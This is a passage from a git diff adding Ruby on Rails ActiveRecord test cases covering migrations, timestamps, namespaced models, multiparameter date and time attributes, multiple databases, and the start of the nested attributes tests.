+ assert_equal [], calls
+
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+ end
+
+ def test_migrator_verbosity
+ _, migrations = sensors(3)
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_not_equal 0, ActiveRecord::Migration.message_count
+
+ ActiveRecord::Migration.message_count = 0
+
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_not_equal 0, ActiveRecord::Migration.message_count
+ ActiveRecord::Migration.message_count = 0
+ end
+
+ def test_migrator_verbosity_off
+ _, migrations = sensors(3)
+
+ ActiveRecord::Migration.message_count = 0
+ ActiveRecord::Migration.verbose = false
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal 0, ActiveRecord::Migration.message_count
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal 0, ActiveRecord::Migration.message_count
+ end
+
+ def test_target_version_zero_should_run_only_once
+ calls, migrations = sensors(3)
+
+ # migrate up to 1
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ # migrate down to 0
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal [[:down, 1]], calls
+ calls.clear
+
+ # migrate down to 0 again
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal [], calls
+ end
+
+ def test_migrator_going_down_due_to_version_target
+ calls, migrator = migrator_class(3)
+
+ migrator.up("valid", 1)
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ migrator.migrate("valid", 0)
+ assert_equal [[:down, 1]], calls
+ calls.clear
+
+ migrator.migrate("valid")
+ assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+ end
+
+ def test_migrator_rollback
+ _, migrator = migrator_class(3)
+
+ migrator.migrate("valid")
+ assert_equal(3, ActiveRecord::Migrator.current_version)
+
+ migrator.rollback("valid")
+ assert_equal(2, ActiveRecord::Migrator.current_version)
+
+ migrator.rollback("valid")
+ assert_equal(1, ActiveRecord::Migrator.current_version)
+
+ migrator.rollback("valid")
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+
+ migrator.rollback("valid")
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+ end
+
+ def test_migrator_db_has_no_schema_migrations_table
+ _, migrator = migrator_class(3)
+
+ ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
+ assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations')
+ migrator.migrate("valid", 1)
+ assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
+ end
+
+ def test_migrator_forward
+ _, migrator = migrator_class(3)
+ migrator.migrate("/valid", 1)
+ assert_equal(1, ActiveRecord::Migrator.current_version)
+
+ migrator.forward("/valid", 2)
+ assert_equal(3, ActiveRecord::Migrator.current_version)
+
+ migrator.forward("/valid")
+ assert_equal(3, ActiveRecord::Migrator.current_version)
+ end
+
+ def test_only_loads_pending_migrations
+ # migrate up to 1
+ ActiveRecord::SchemaMigration.create!(:version => '1')
+
+ calls, migrator = migrator_class(3)
+ migrator.migrate("valid", nil)
+
+ assert_equal [[:up, 2], [:up, 3]], calls
+ end
+
+ def test_get_all_versions
+ _, migrator = migrator_class(3)
+
+ migrator.migrate("valid")
+ assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
+
+ migrator.rollback("valid")
+ assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
+
+ migrator.rollback("valid")
+ assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+
+ migrator.rollback("valid")
+ assert_equal([], ActiveRecord::Migrator.get_all_versions)
+ end
+
+ private
+ def m(name, version, &block)
+ x = Sensor.new name, version
+ x.extend(Module.new {
+ define_method(:up) { block.call(:up, x); super() }
+ define_method(:down) { block.call(:down, x); super() }
+ }) if block_given?
+ end
+
+ def sensors(count)
+ calls = []
+ migrations = count.times.map { |i|
+ m(nil, i + 1) { |c,migration|
+ calls << [c, migration.version]
+ }
+ }
+ [calls, migrations]
+ end
+
+ def migrator_class(count)
+ calls, migrations = sensors(count)
+
+ migrator = Class.new(Migrator).extend(Module.new {
+ define_method(:migrations) { |paths|
+ migrations
+ }
+ })
+ [calls, migrator]
+ end
+ end
+end
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
new file mode 100644
index 0000000..f927c13
--- /dev/null
+++ b/activerecord/test/cases/mixin_test.rb
@@ -0,0 +1,96 @@
+require "cases/helper"
+
+class Mixin < ActiveRecord::Base
+end
+
+# Let us control what Time.now returns for the TouchTest suite
+class Time
+ @@forced_now_time = nil
+ cattr_accessor :forced_now_time
+
+ class << self
+ def now_with_forcing
+ if @@forced_now_time
+ @@forced_now_time
+ else
+ now_without_forcing
+ end
+ end
+ alias_method_chain :now, :forcing
+ end
+end
+
+
+class TouchTest < ActiveRecord::TestCase
+ fixtures :mixins
+
+ def setup
+ Time.forced_now_time = Time.now
+ end
+
+ def teardown
+ Time.forced_now_time = nil
+ end
+
+ def test_time_mocking
+ five_minutes_ago = 5.minutes.ago
+ Time.forced_now_time = five_minutes_ago
+ assert_equal five_minutes_ago, Time.now
+
+ Time.forced_now_time = nil
+ assert_not_equal five_minutes_ago, Time.now
+ end
+
+ def test_update
+ stamped = Mixin.new
+
+ assert_nil stamped.updated_at
+ assert_nil stamped.created_at
+ stamped.save
+ assert_equal Time.now, stamped.updated_at
+ assert_equal Time.now, stamped.created_at
+ end
+
+ def test_create
+ obj = Mixin.create
+ assert_equal Time.now, obj.updated_at
+ assert_equal Time.now, obj.created_at
+ end
+
+ def test_many_updates
+ stamped = Mixin.new
+
+ assert_nil stamped.updated_at
+ assert_nil stamped.created_at
+ stamped.save
+ assert_equal Time.now, stamped.created_at
+ assert_equal Time.now, stamped.updated_at
+
+ old_updated_at = stamped.updated_at
+
+ Time.forced_now_time = 5.minutes.from_now
+ stamped.lft_will_change!
+ stamped.save
+
+ assert_equal Time.now, stamped.updated_at
+ assert_equal old_updated_at, stamped.created_at
+ end
+
+ def test_create_turned_off
+ Mixin.record_timestamps = false
+
+ mixin = Mixin.new
+
+ assert_nil mixin.updated_at
+ mixin.save
+ assert_nil mixin.updated_at
+
+ # Make sure Mixin.record_timestamps gets reset, even if this test fails,
+ # so that other tests do not fail because Mixin.record_timestamps == false
+ rescue Exception => e
+ raise e
+ ensure
+ Mixin.record_timestamps = true
+ end
+
+end
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
new file mode 100644
index 0000000..08b3408
--- /dev/null
+++ b/activerecord/test/cases/modules_test.rb
@@ -0,0 +1,143 @@
+require "cases/helper"
+require 'models/company_in_module'
+require 'models/shop'
+
+class ModulesTest < ActiveRecord::TestCase
+ fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
+
+ def setup
+ # need to make sure Object::Firm and Object::Client are not defined,
+ # so that constantize will not be able to cheat when having to load namespaced classes
+ @undefined_consts = {}
+
+ [:Firm, :Client].each do |const|
+ @undefined_consts.merge! const => Object.send(:remove_const, const) if Object.const_defined?(const)
+ end
+
+ ActiveRecord::Base.store_full_sti_class = false
+ end
+
+ def teardown
+ # reinstate the constants that we undefined in the setup
+ @undefined_consts.each do |constant, value|
+ Object.send :const_set, constant, value unless value.nil?
+ end
+
+ ActiveRecord::Base.store_full_sti_class = true
+ end
+
+ def test_module_spanning_associations
+ firm = MyApplication::Business::Firm.first
+ assert !firm.clients.empty?, "Firm should have clients"
+ assert_nil firm.class.table_name.match('::'), "Firm shouldn't have the module appear in its table name"
+ end
+
+ def test_module_spanning_has_and_belongs_to_many_associations
+ project = MyApplication::Business::Project.first
+ project.developers << MyApplication::Business::Developer.create("name" => "John")
+ assert_equal "John", project.developers.last.name
+ end
+
+ def test_associations_spanning_cross_modules
+ account = MyApplication::Billing::Account.all.merge!(:order => 'id').first
+ assert_kind_of MyApplication::Business::Firm, account.firm
+ assert_kind_of MyApplication::Billing::Firm, account.qualified_billing_firm
+ assert_kind_of MyApplication::Billing::Firm, account.unqualified_billing_firm
+ assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_qualified_billing_firm
+ assert_kind_of MyApplication::Billing::Nested::Firm, account.nested_unqualified_billing_firm
+ end
+
+ def test_find_account_and_include_company
+ account = MyApplication::Billing::Account.all.merge!(:includes => :firm).find(1)
+ assert_kind_of MyApplication::Business::Firm, account.firm
+ end
+
+ def test_table_name
+ assert_equal 'accounts', MyApplication::Billing::Account.table_name, 'table_name for ActiveRecord model in module'
+ assert_equal 'companies', MyApplication::Business::Client.table_name, 'table_name for ActiveRecord model subclass'
+ assert_equal 'company_contacts', MyApplication::Business::Client::Contact.table_name, 'table_name for ActiveRecord model enclosed by another ActiveRecord model'
+ end
+
+ def test_assign_ids
+ firm = MyApplication::Business::Firm.first
+
+ assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
+ firm.client_ids = [MyApplication::Business::Client.first.id]
+ end
+ end
+
+ # need to add an eager loading condition to force the eager loading model into
+ # the old join model, to test that. See http://dev.rubyonrails.org/ticket/9640
+ def test_eager_loading_in_modules
+ clients = []
+
+ assert_nothing_raised NameError, "Should be able to resolve all class constants via reflection" do
+ clients << MyApplication::Business::Client.references(:accounts).merge!(:includes => {:firm => :account}, :where => 'accounts.id IS NOT NULL').find(3)
+ clients << MyApplication::Business::Client.includes(:firm => :account).find(3)
+ end
+
+ clients.each do |client|
+ assert_no_queries do
+ assert_not_nil(client.firm.account)
+ end
+ end
+ end
+
+ def test_module_table_name_prefix
+ assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_prefix'
+ assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_prefix'
+ assert_equal 'companies', MyApplication::Business::Prefixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed'
+ end
+
+ def test_module_table_name_prefix_with_global_prefix
+ classes = [ MyApplication::Business::Company,
+ MyApplication::Business::Firm,
+ MyApplication::Business::Client,
+ MyApplication::Business::Client::Contact,
+ MyApplication::Business::Developer,
+ MyApplication::Business::Project,
+ MyApplication::Business::Prefixed::Company,
+ MyApplication::Business::Prefixed::Nested::Company,
+ MyApplication::Billing::Account ]
+
+ ActiveRecord::Base.table_name_prefix = 'global_'
+ classes.each(&:reset_table_name)
+ assert_equal 'global_companies', MyApplication::Business::Company.table_name, 'inferred table_name for ActiveRecord model in module without table_name_prefix'
+ assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_prefix'
+ assert_equal 'prefixed_companies', MyApplication::Business::Prefixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_prefix'
+ assert_equal 'companies', MyApplication::Business::Prefixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_prefix should not be prefixed'
+ ensure
+ ActiveRecord::Base.table_name_prefix = ''
+ classes.each(&:reset_table_name)
+ end
+
+ def test_compute_type_can_infer_class_name_of_sibling_inside_module
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+ assert_equal MyApplication::Business::Firm, MyApplication::Business::Client.send(:compute_type, "Firm")
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_nested_models_should_not_raise_exception_when_using_delete_all_dependency_on_association
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+
+ collection = Shop::Collection.first
+ assert !collection.products.empty?, "Collection should have products"
+ assert_nothing_raised { collection.destroy }
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_nested_models_should_not_raise_exception_when_using_nullify_dependency_on_association
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+
+ product = Shop::Product.first
+ assert !product.variants.empty?, "Product should have variants"
+ assert_nothing_raised { product.destroy }
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+end
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
new file mode 100644
index 0000000..1209f54
--- /dev/null
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -0,0 +1,350 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/customer'
+
+class MultiParameterAttributeTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def setup
+ ActiveRecord::Base.time_zone_aware_attributes = false
+ ActiveRecord::Base.default_timezone = :local
+ Time.zone = nil
+ end
+
+ def test_multiparameter_attributes_on_date
+ attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_date_from_db Date.new(2004, 6, 24), topic.last_read.to_date
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_year
+ attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_month
+ attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "24" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_day
+ attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_day_and_year
+ attributes = { "last_read(1i)" => "", "last_read(2i)" => "6", "last_read(3i)" => "" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_day_and_month
+ attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "", "last_read(3i)" => "" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_empty_year_and_month
+ attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "24" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # note that extra #to_date call allows test to pass for Oracle, which
+ # treats dates/times the same
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_date_with_all_empty
+ attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.last_read
+ end
+
+ def test_multiparameter_attributes_on_time
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
+
+ def test_multiparameter_attributes_on_time_with_no_date
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ attributes = {
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ end
+ assert_equal("written_on", ex.errors[0].attribute)
+ end
+
+ def test_multiparameter_attributes_on_time_with_invalid_time_params
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "2004", "written_on(5i)" => "36", "written_on(6i)" => "64",
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ end
+ assert_equal("written_on", ex.errors[0].attribute)
+ end
+
+ def test_multiparameter_attributes_on_time_with_old_date
+ attributes = {
+ "written_on(1i)" => "1850", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ # testing against to_s(:db) representation because either a Time or a DateTime might be returned, depending on platform
+ assert_equal "1850-06-24 16:24:00", topic.written_on.to_s(:db)
+ end
+
+ def test_multiparameter_attributes_on_time_will_raise_on_big_time_if_missing_date_parts
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ attributes = {
+ "written_on(4i)" => "16", "written_on(5i)" => "24"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ end
+ assert_equal("written_on", ex.errors[0].attribute)
+ end
+
+ def test_multiparameter_attributes_on_time_with_raise_on_small_time_if_missing_date_parts
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ attributes = {
+ "written_on(4i)" => "16", "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ end
+ assert_equal("written_on", ex.errors[0].attribute)
+ end
+
+ def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+ "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+ end
+
+ def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
+ attributes = {
+ "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+ "written_on(4i)" => "", "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.written_on
+ end
+
+ def test_multiparameter_attributes_on_time_will_ignore_date_if_empty
+ attributes = {
+ "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+ "written_on(4i)" => "16", "written_on(5i)" => "24"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.written_on
+ end
+ def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
+ attributes = {
+ "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+ "written_on(4i)" => "16", "written_on(5i)" => "12", "written_on(6i)" => "02"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.written_on
+ end
+
+ def test_multiparameter_attributes_on_time_with_utc
+ ActiveRecord::Base.default_timezone = :utc
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
+
+ def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
+ ActiveRecord::Base.time_zone_aware_attributes = true
+ ActiveRecord::Base.default_timezone = :utc
+ Time.zone = ActiveSupport::TimeZone[-28800]
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+ assert_equal Time.zone, topic.written_on.time_zone
+ end
+
+ def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
+ Time.zone = ActiveSupport::TimeZone[-28800]
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ end
+
+ def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
+ ActiveRecord::Base.time_zone_aware_attributes = true
+ ActiveRecord::Base.default_timezone = :utc
+ Time.zone = ActiveSupport::TimeZone[-28800]
+ Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+ assert_equal false, topic.written_on.respond_to?(:time_zone)
+ ensure
+ Topic.skip_time_zone_conversion_for_attributes = []
+ end
+
+ # Oracle, and Sybase do not have a TIME datatype.
+ unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+ def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
+ ActiveRecord::Base.time_zone_aware_attributes = true
+ ActiveRecord::Base.default_timezone = :utc
+ Time.zone = ActiveSupport::TimeZone[-28800]
+ attributes = {
+ "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+ "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
+ assert topic.bonus_time.utc?
+ end
+ end
+
+ def test_multiparameter_attributes_on_time_with_empty_seconds
+ attributes = {
+ "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+ "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+ end
+
+ def test_multiparameter_attributes_setting_time_attribute
+ return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
+
+ topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+ assert_equal 1, topic.bonus_time.hour
+ assert_equal 5, topic.bonus_time.min
+ end
+
+ def test_multiparameter_attributes_setting_date_attribute
+ topic = Topic.new( "written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11" )
+ assert_equal 1952, topic.written_on.year
+ assert_equal 3, topic.written_on.month
+ assert_equal 11, topic.written_on.day
+ end
+
+ def test_multiparameter_attributes_setting_date_and_time_attribute
+ topic = Topic.new(
+ "written_on(1i)" => "1952",
+ "written_on(2i)" => "3",
+ "written_on(3i)" => "11",
+ "written_on(4i)" => "13",
+ "written_on(5i)" => "55")
+ assert_equal 1952, topic.written_on.year
+ assert_equal 3, topic.written_on.month
+ assert_equal 11, topic.written_on.day
+ assert_equal 13, topic.written_on.hour
+ assert_equal 55, topic.written_on.min
+ end
+
+ def test_multiparameter_attributes_setting_time_but_not_date_on_date_field
+ assert_raise( ActiveRecord::MultiparameterAssignmentErrors ) do
+ Topic.new( "written_on(4i)" => "13", "written_on(5i)" => "55" )
+ end
+ end
+
+ def test_multiparameter_assignment_of_aggregation
+ customer = Customer.new
+ address = Address.new("The Street", "The City", "The Country")
+ attributes = { "address(1)" => address.street, "address(2)" => address.city, "address(3)" => address.country }
+ customer.attributes = attributes
+ assert_equal address, customer.address
+ end
+
+ def test_multiparameter_assignment_of_aggregation_out_of_order
+ customer = Customer.new
+ address = Address.new("The Street", "The City", "The Country")
+ attributes = { "address(3)" => address.country, "address(2)" => address.city, "address(1)" => address.street }
+ customer.attributes = attributes
+ assert_equal address, customer.address
+ end
+
+ def test_multiparameter_assignment_of_aggregation_with_missing_values
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ customer = Customer.new
+ address = Address.new("The Street", "The City", "The Country")
+ attributes = { "address(2)" => address.city, "address(3)" => address.country }
+ customer.attributes = attributes
+ end
+ assert_equal("address", ex.errors[0].attribute)
+ end
+
+ def test_multiparameter_assignment_of_aggregation_with_blank_values
+ customer = Customer.new
+ address = Address.new("The Street", "The City", "The Country")
+ attributes = { "address(1)" => "", "address(2)" => address.city, "address(3)" => address.country }
+ customer.attributes = attributes
+ assert_equal Address.new(nil, "The City", "The Country"), customer.address
+ end
+
+ def test_multiparameter_assignment_of_aggregation_with_large_index
+ ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+ customer = Customer.new
+ address = Address.new("The Street", "The City", "The Country")
+ attributes = { "address(1)" => "The Street", "address(2)" => address.city, "address(3000)" => address.country }
+ customer.attributes = attributes
+ end
+
+ assert_equal("address", ex.errors[0].attribute)
+ end
+end
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
new file mode 100644
index 0000000..2e386a1
--- /dev/null
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -0,0 +1,108 @@
+require "cases/helper"
+require 'models/entrant'
+require 'models/bird'
+require 'models/course'
+
+class MultipleDbTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @courses = create_fixtures("courses") { Course.retrieve_connection }
+ @colleges = create_fixtures("colleges") { College.retrieve_connection }
+ @entrants = create_fixtures("entrants")
+ end
+
+ def test_connected
+ assert_not_nil Entrant.connection
+ assert_not_nil Course.connection
+ end
+
+ def test_proper_connection
+ assert_not_equal(Entrant.connection, Course.connection)
+ assert_equal(Entrant.connection, Entrant.retrieve_connection)
+ assert_equal(Course.connection, Course.retrieve_connection)
+ assert_equal(ActiveRecord::Base.connection, Entrant.connection)
+ end
+
+ def test_find
+ c1 = Course.find(1)
+ assert_equal "Ruby Development", c1.name
+ c2 = Course.find(2)
+ assert_equal "Java Development", c2.name
+ e1 = Entrant.find(1)
+ assert_equal "Ruby Developer", e1.name
+ e2 = Entrant.find(2)
+ assert_equal "Ruby Guru", e2.name
+ e3 = Entrant.find(3)
+ assert_equal "Java Lover", e3.name
+ end
+
+ def test_associations
+ c1 = Course.find(1)
+ assert_equal 2, c1.entrants.count
+ e1 = Entrant.find(1)
+ assert_equal e1.course.id, c1.id
+ c2 = Course.find(2)
+ assert_equal 1, c2.entrants.count
+ e3 = Entrant.find(3)
+ assert_equal e3.course.id, c2.id
+ end
+
+ def test_course_connection_should_survive_dependency_reload
+ assert Course.connection
+
+ ActiveSupport::Dependencies.clear
+ Object.send(:remove_const, :Course)
+ require_dependency 'models/course'
+
+ assert Course.connection
+ end
+
+ def test_transactions_across_databases
+ c1 = Course.find(1)
+ e1 = Entrant.find(1)
+
+ begin
+ Course.transaction do
+ Entrant.transaction do
+ c1.name = "Typo"
+ e1.name = "Typo"
+ c1.save
+ e1.save
+ raise "No I messed up."
+ end
+ end
+ rescue
+ # Yup caught it
+ end
+
+ assert_equal "Typo", c1.name
+ assert_equal "Typo", e1.name
+
+ assert_equal "Ruby Development", Course.find(1).name
+ assert_equal "Ruby Developer", Entrant.find(1).name
+ end
+
+ def test_arel_table_engines
+ assert_not_equal Entrant.arel_engine, Bird.arel_engine
+ assert_not_equal Entrant.arel_engine, Course.arel_engine
+ end
+
+ def test_connection
+ assert_equal Entrant.arel_engine.connection, Bird.arel_engine.connection
+ assert_not_equal Entrant.arel_engine.connection, Course.arel_engine.connection
+ end
+
+ unless in_memory_db?
+ def test_associations_should_work_when_model_has_no_connection
+ begin
+ ActiveRecord::Base.remove_connection
+ assert_nothing_raised ActiveRecord::ConnectionNotEstablished do
+ College.first.courses.first
+ end
+ ensure
+ ActiveRecord::Base.establish_connection 'arunit'
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
new file mode 100644
index 0000000..b6e140b
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -0,0 +1,1060 @@
+require "cases/helper"
+require "models/pirate"
+require "models/ship"
+require "models/ship_part"
+require "models/bird"
+require "models/parrot"
+require "models/treasure"
+require "models/man"
+require "models/interest"
+require "models/owner"
+require "models/pet"
+require 'active_support/hash_with_indifferent_access'
+
+module AssertRaiseWithMessage
+ def assert_raise_with_message(expected_exception, expected_message)
+ begin
+ error_raised = false
+ yield
+ rescue expected_exception => error
+ error_raised = true
+ actual_message = error.message
+ end
+ assert error_raised
+ assert_equal expected_message, actual_message
+ end
+end
+
+class TestNestedAttributesInGeneral < ActiveRecord::TestCase
+ include AssertRaiseWithMessage
+
+ def teardown
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_base_should_have_an_empty_nested_attributes_options
+ assert_equal Hash.new, ActiveRecord::Base.nested_attributes_options
+ end
+
+ def test_should_add_a_proc_to_nested_attributes_options
+ assert_equal ActiveRecord::NestedAttributes::ClassMethods::REJECT_ALL_BLANK_PROC,
+ Pirate.nested_attributes_options[:birds_with_reject_all_blank][:reject_if]
+
+ [:parrots, :birds].each do |name|
+ assert_instance_of Proc, Pirate.nested_attributes_options[name][:reject_if]
+ end
+ end
+
+ def test_should_not_build_a_new_record_using_reject_all_even_if_destroy_is_given
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
